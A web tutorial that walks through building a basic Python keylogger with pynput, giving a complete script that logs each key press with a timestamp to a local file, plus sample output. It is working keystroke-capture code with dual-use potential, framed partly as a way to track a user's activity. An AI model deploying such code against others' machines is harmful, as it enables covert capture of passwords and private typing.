Design a Keylogger in Python

In this article, we will be looking at how to design a keylogger in Python. But by listening to the word “Keylogger”, the first thing that comes into our minds is related to monitoring the activity of the keys. Moreover, logging these activities of the keys can help us track some key information. We can also find the history of a user without any application, just a Python script, that’s it.

Develop a Keylogger in Python

Moving onto the implementation of the Keylogger, we need to install certain 3rd party modules. For keylogging, we need to install pynput. To install pynput, execute the below command:-

pip install pynput

After installing the module successfully, we need to import the module and import various methods to record keys activities. Here we have imported logging module to log the events returned by the key listener.

from pynput.keyboard import Key, Listener
import logging

Now, we will initialize the instance of the key listener which response to the press and release of the keys and will integrate into the main thread.

with Listener(on_press= while_press , on_release = while_release ) as listener:
    listener.join()

Here, while_press and while_release are functions that a user can define. It gets called when the corresponding key listener is called.

Now, let us define while_press and while_release.

while_press should record all the logs. If we press “ESC”, while_release executes and returns from the program.

def while_press(key):
    KEY = "{0} is pressed at " .format(key)
    logging.info(str(KEY))

def while_release(key):
    if key== Key.esc:
        return False

Finally, we will format the output of logging with date and message and will specify the log file which will record the key activities.

logging.basicConfig(filename=("key_log.txt"), level=logging.DEBUG, format='%(message)s : %(asctime)s')

By combining the above script, we get the following code:-

from pynput.keyboard import Key, Listener
import logging

logging.basicConfig(filename=("key_log.txt"), level=logging.DEBUG, format='%(message)s : %(asctime)s')


def while_press(key):
    KEY = "{0} is pressed at " .format(key)
    logging.info(str(KEY))

def while_release(key):
    if key== Key.esc:
        return False
    

with Listener(on_press= while_press , on_release = while_release ) as listener:
    listener.join()

After running the script, until the “ESC” key is pressed, the key_log.txt is created with all the key activities. The following output will be generated in the key_log.txt:-

'd' is pressed at  : 2020-06-20 00:59:46,830
'k' is pressed at  : 2020-06-20 00:59:46,833
'j' is pressed at  : 2020-06-20 00:59:46,860
's' is pressed at  : 2020-06-20 00:59:46,894
'b' is pressed at  : 2020-06-20 00:59:46,936
'c' is pressed at  : 2020-06-20 00:59:47,057
'h' is pressed at  : 2020-06-20 00:59:47,212
'e' is pressed at  : 2020-06-20 00:59:47,230
'w' is pressed at  : 2020-06-20 00:59:47,236
'k' is pressed at  : 2020-06-20 00:59:47,302
'f' is pressed at  : 2020-06-20 00:59:47,459
Key.shift is pressed at  : 2020-06-20 00:59:47,722
Key.ctrl_l is pressed at  : 2020-06-20 00:59:47,773
'\x0b' is pressed at  : 2020-06-20 00:59:47,819
'\x01' is pressed at  : 2020-06-20 00:59:47,839
'\x13' is pressed at  : 2020-06-20 00:59:47,876
'\n' is pressed at  : 2020-06-20 00:59:47,889
'x' is pressed at  : 2020-06-20 00:59:48,114
Key.ctrl_l is pressed at  : 2020-06-20 00:59:48,416
Key.shift is pressed at  : 2020-06-20 00:59:48,455
'S' is pressed at  : 2020-06-20 00:59:48,568
'N' is pressed at  : 2020-06-20 00:59:48,660
'X' is pressed at  : 2020-06-20 00:59:48,756
'K' is pressed at  : 2020-06-20 00:59:48,855
'J' is pressed at  : 2020-06-20 00:59:48,858
'C' is pressed at  : 2020-06-20 00:59:48,971
's' is pressed at  : 2020-06-20 00:59:49,183
',' is pressed at  : 2020-06-20 00:59:49,268
'c' is pressed at  : 2020-06-20 00:59:49,305
'/' is pressed at  : 2020-06-20 00:59:49,448
'e' is pressed at  : 2020-06-20 00:59:49,649
'k' is pressed at  : 2020-06-20 00:59:49,708
Key.shift_r is pressed at  : 2020-06-20 00:59:49,753
Key.caps_lock is pressed at  : 2020-06-20 00:59:49,904
'F' is pressed at  : 2020-06-20 00:59:49,925
'n' is pressed at  : 2020-06-20 00:59:49,961
'c' is pressed at  : 2020-06-20 00:59:49,986
'w' is pressed at  : 2020-06-20 00:59:50,062
'e' is pressed at  : 2020-06-20 00:59:50,106
'l' is pressed at  : 2020-06-20 00:59:50,179
'n' is pressed at  : 2020-06-20 00:59:50,198
'v' is pressed at  : 2020-06-20 00:59:50,212
Key.esc is pressed at  : 2020-06-20 00:59:54,600

So we successfully created our Keylogger in Python.

I hope you like the article, feel free to comment down your queries.

Leave a Reply